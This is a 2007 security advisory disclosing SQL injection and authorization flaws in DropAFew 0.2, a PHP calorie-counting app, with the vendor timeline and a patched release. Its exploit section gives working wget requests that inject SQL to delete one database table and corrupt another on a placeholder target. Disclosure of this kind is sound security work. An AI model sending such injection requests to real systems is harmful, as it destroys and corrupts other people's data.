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============================================
||| Security Advisory AKLINK-SA-2007-002 |||
||| CVE-2007-1363 (CVE candidate)        |||
||| CVE-2007-1364 (CVE candidate)        |||
============================================

DropAFew - Multiple vulnerabilities (SQL injection, authorization issue)
========================================================================

Date released: 10.04.2007
Date reported: 07.03.2007
$Revision: 1.1 $

by Alexander Klink
   Cynops GmbH
   a.klink@cynops.de
   https://www.cynops.de/advisories/CVE-2007-1363.txt
   (S/MIME signed: https://www.cynops.de/advisories/CVE-2007-1363-signed.txt)
   https://www.klink.name/security/aklink-sa-2007-002-dropafew-sqlinjection.txt
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1363
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1364

Vendor: Chris Bratlien (Open Source)
Product: DropAFew - a multi-user calorie counting program using PHP
Website: http://www.dropafew.com
Vulnerability: SQL injection attack, authorization issues
Class: remote
Status: patched 
Severity: moderate (database corruption and some information disclosure)
Releases known to be affected: 0.2
Releases known NOT to be affected: 0.2.1 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Overview:

SQL injection is possible in different places which may lead to the
deletion or corruption of the two most important database tables of
the application.
The vulnerability works without query stacking and with magic_quotes_gpw
set to on.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Technical details:

An SQL injection is present in search.php and search-pda.php on the
delete action. Setting id for example to "1 OR id > 0 --" deletes the
foodfacts table completely.
In editlogcal.php, the save action allows for an SQL injection into
an UPDATE statement via the calories variable. Setting calories for
example to "1000 WHERE id > 0 /*" corrupts the logcal database reducing
it to the same entry (so it looks like everybody keeps eating the same
thing again and again).
In editlogcal.php, the id parameter is not checked for authorization,
so it is possible for a user to see all logged calories for all users
(without knowing who ate what, though).
Furthermore, the links.php allows a user to add publicly viewable links
to everyones link page, which a user can not remove, which might be
a possibility for spam.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit:

# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php
# make everyone have eaten 1000 strawberries, but hey, they were only 10
# calories ...
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*' http://[target]/calorie/editlogcal.php

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Workaround:

Filtering the requests, restricting access to the application to
trusted users only.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Communication:

* 07.03.2007: Problem reported to author
* 07.03.2007: Vendor replies and confirms the problem, presents ideas
              for a solution
* 03.04.2007: Contacted vendor to check back on status
* 03.04.2007: Vendor responds with updated version 0.2.1

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Solution:

Update to version 0.2.1 (http://dropafew.com/download/dropafew-0.2.1.zip)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Credit:

Alexander Klink, Cynops GmbH (discovery and exploit development)
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-- 
Dipl.-Math. Alexander Klink | IT-Security Engineer |    a.klink@cynops.de
 mobile: +49 (0)178 2121703 |          Cynops GmbH | http://www.cynops.de
----------------------------+----------------------+---------------------
      HRB 7833, Amtsgericht | USt-Id: DE 213094986 |     Geschäftsführer:
     Bad Homburg v. d. Höhe |                      |      Martin Bartosch